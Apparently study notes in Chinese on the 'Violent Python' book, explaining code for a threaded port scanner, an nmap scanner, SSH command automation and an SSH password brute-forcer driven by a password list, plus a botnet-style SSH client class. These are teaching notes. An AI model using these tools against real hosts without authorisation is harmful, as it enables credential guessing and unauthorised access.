《Python絕技》程式設計實戰二
阿新 • • 發佈:2021-07-22
scanPort
- 實現自動化掃描並測試目標主機的開放埠以及埠應用。
- 細節類似上一章中的
getBanner
。
開原始碼
portScanner
- 簡單地實現掃描目標主機多個埠的效果。
main
parser = optparse.OptionParser('usage:%prog -H <targer Host> -P <port>') parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-P', dest='tgtPorts', type='string', help='specify target ports') (options, args) = parser.parse_args() if (options.tgtHost == None) or (options.tgtPorts == None): print(parser.usage) exit(0) tgtHost = options.tgtHost tgtPorts = options.tgtPorts.split(',') portScan(tgtHost, tgtPorts)
- 在
main()
完成對目標主機的繫結。
portScan
try: tgtIP = gethostbyname(tgtHost) except: print('[-] Cannot resolve \'%s\' : Unknown host' %tgtHost) return try: tgtName = gethostbyaddr(tgtIP) print('\n[+] Scan results for : ' + tgtName[0]) except: print('\n[+] Scan results for : ' + tgtIP) setdefaulttimeout(1) for tgtPort in tgtPorts: thrd = Thread(target=connScan, args=(tgtHost, int(tgtPort))) thrd.start()
-
若輸入的目標主機為域名,則對其進行域名解析,得到目的主機
IP
地址。明確目標主機後,對指定的埠組分配執行緒進行處理。 -
gethostbyaddr()
是C
語言的一個方法名,意思是返回對應於給定地址的主機資訊。 -
gethostbyname()
返回對應於給定主機名的包含主機名字和地址資訊的hostent
結構的指標。結構的宣告與gethostbyaddr()
中一致。
connScan
try: connsock = socket(AF_INET, SOCK_STREAM) connsock.connect((tgtHost, tgtPort)) connsock.send('Port Opening Test\r\n'.encode()) res = connsock.recv(1024) screenLock.acquire() print('[+] %d/tcp opened'%tgtPort) showBanner(res) except: screenLock.acquire() print('[-] %d/tcp closed'%tgtPort) finally: screenLock.release() connsock.close()
connScan()
為執行緒呼叫的函式,負責一個埠的檢查。screenLock.acquire()
為互斥訊號量的加鎖步驟。screenLock.release()
為互斥訊號量的釋放步驟。這兩個函式的目的是使得並行的執行緒對screenLock()
進行互斥訪問,保證螢幕列印有序。
showBanner
encoding = chardet.detect(res)['encoding']
if encoding:
print('[+] '+str(res, encoding=encoding))
else:
print('[+] '+str(res, encoding='utf-8'))
return
-
用於對返回的二進位制串進行處理且得到輸出。
-
ret = chardet.detect(變數)
可以檢視原有變數的編碼型別。
nmapScanner
- 藉助
Nmap
的Python
庫對目標主機的埠組進行掃描,大體同portScanner
。
nmapScan
scanner = nmap.PortScanner()
scanner.scan(tgtHost, tgtPort)
state = scanner[tgtHost]['tcp'][int(tgtPort)]['state']
print('[*] '+tgtHost+' tcp/'+tgtPort+' '+state)
- 呼叫
nmap
庫得到埠掃描的類,使用類中用於掃描的方法即可對目的主機的單一埠進行掃描。
sshCrack
- 實現自動化連線
ssh
並且執行命令。
有點雞肋,因為沒有密碼也過不了,沒有攻擊性。
開原始碼
pexpect
- 預測輸出結果,對不同結果採取不同的應對方式。
main
if len(sys.argv) == 5:
host = sys.argv[1]
user = sys.argv[2]
passwd = sys.argv[3]
command = sys.argv[4]
shell = connect(host, user, passwd)
exec_command(shell, command)
else:
print('Usage:%prog <target host> <user> <password> <command>')
- 從命令列獲取引數,執行
connect()
之後得到shell
,在shell
中即可執行指定命令。
connect
conn = 'ssh '+user+'@'+host
result = pexpect.spawn(conn)
ssh_newkey = 'Are you sure you want to continue connecting'
ssh_passwd = '[P|p]assword:'
ret = result.expect([ssh_passwd, ssh_newkey, pexpect.TIMEOUT])
if ret == 1:
result.sendline('yes')
ret = result.expect([ssh_passwd, pexpect.TIMEOUT, ssh_newkey])
if ret == 2:
print('[-] Error Connecting')
return
result.sendline(passwd)
print('send passwd')
result.expect(PROMPT)
- 該函式用於
ssh
連線並返回一個連線好的shell
或者報錯退出。 pexpect.spawn()
派生一個程式,它返回這個程式的操作控制代碼,以後可以通過操作這個控制代碼來對這個程式進行操作。- 當
spawn()
啟動了一個程式並返回程式控制控制代碼後,就可以用expect()
方法來等待指定的關鍵字了。 expect()
使用正則表示式匹配,對於ssh
登入後的自動輸出可能造成錯誤匹配。並且對所需匹配的字元要明確,不然無法構造PROMPT
。send()
用來向程式傳送指定的字串,此處使用sendline()
可以自動在傳送的字串末尾加上回車。
exec_command
shell.sendline(cmd)
shell.expect(PROMPT)
print(shell.before)
- 該函式用於對指定命令的執行,列印輸出的結果。
before
變數用於儲存上一次輸出的最後100
個位元組(buffer
大小),可能導致輸出列印不全。
pxssh
pxssh
包含了pexpect
並將裡面的函式封裝好了,可以直接用於和SSH
互動。
開原始碼
main
parser = optparse.OptionParser('usage %prog '+\
'-H <target host> -u <user> -F <password list>'
)
parser.add_option('-H', dest='tgtHost', type='string',\
help='specify target host')
parser.add_option('-F', dest='passwdFile', type='string',\
help='specify password file')
parser.add_option('-u', dest='user', type='string',\
help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user
if host == None or passwdFile == None or user == None:
print(parser.usage)
exit(0)
fn = open(passwdFile, 'r')
for line in fn.readlines():
if Found:
print ("[*] Exiting: Password Found")
exit(0)
if Fails > 5:
print ("[!] Exiting: Too Many Socket Timeouts")
exit(0)
connection_lock.acquire()
password = line.strip('\r').strip('\n')
print ("[-] Testing: "+str(password))
t = Thread(target=connect, args=(host, user, password, True))
t.start()
- 獲得指定引數的值,確定目的主機的
IP
和使用者以及破解用的本地密碼集。 - 使用列舉密碼集的每一個密碼,使用執行緒的方式處理。並使用訊號量對同時訪問的執行緒個數進行限制。
connect
global Found
global Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print ('[+] Password Found: ' + password)
Found = True
except Exception as e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
if release:
connection_lock.release()
- 嘗試指定密碼連線目的主機。
- 若因連線過快失敗(
read_nonblocking
)五次直接報錯退出;若因命令提示符提取困難(synchronize with original prompt
)則等待重連。 pxssh.pxssh()
返回一個型別,使用該型別進行登入。login()
中封裝好了pexpect
的方法,可以直接呼叫連線目的主機。
sshNet
- 使用類的方式對pxssh實現控制終端的過程進行了封裝。
Client
class Client:
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host, self.user, self.password)
return s
except Exception as e:
print ('[-] Error Connecting')
print (e)
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before